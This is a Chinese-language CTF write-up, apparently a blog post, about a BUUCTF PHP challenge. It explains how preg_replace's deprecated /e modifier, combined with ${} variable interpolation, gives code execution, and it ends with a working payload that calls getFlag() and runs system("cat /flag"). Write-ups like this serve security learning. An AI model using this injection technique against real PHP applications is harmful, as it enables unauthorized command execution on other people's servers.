buuctf-不过如此

WP

这个题利用了preg的命令执行,没怎么遇到过,记录一下。
首先代码审计:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

这里不再多说,file_get_contents()多半就是伪协议。include()再结合next,多半也是伪协议。
提示是next.php
代码如下:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

说实话,这个代码我有点懵,一开始我以为是其他文件调用了函数,才会有echo各个参数的效果,但仔细一想没必要隐藏调用,比较的$re值根本没看到,不知道这个设计是为了什么,最后一个看似出口也没有得到调用,一时间还不知道咋回事。

关键原来在preg_replace(),我就说为啥不用preg_match()呢,replace不是双写绕过就完事了么?

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

学习链接:https://xz.aliyun.com/t/2557

要完成这个漏洞,你还需要学习:https://www.php.net/manual/zh/language.variables.variable.php

首先 r e 和 re和 restr就是get的键值对,由于是eval(strtolower("\\1")) 本身strtolower是需要接受一个string,而这里转义数字,表示正则表达式 \1 实际上指定的是第一个子匹配项

也就是一旦匹配到,会进入strtolower() 先执行匹配到的内容(替换“\1”的位置),然后再变成小写,这里就可以命令执行,但是替换进来的不是字符串么?($str值) 是,如果普通地传进来确实是字符串,但是如果用可变变量就不一定了。因为这里是双引号,双引号能够对其包裹地内容进行转义等等操作。

同时,这里之所以是\S*,是因为可以快速匹配
在这里插入图片描述

payload:

?\S*=${getFlag()}&cmd=system("cat /flag");

传入之后,首先立马匹配到目标值(${getFlag()}),然后由于转义,首先就会执行getFlag(),执行时找到cmd对应地值,直接命令执行,就结束了。

posted @ 2022-03-22 21:47  Sayo-NERV  阅读(42)  评论(0编辑  收藏  举报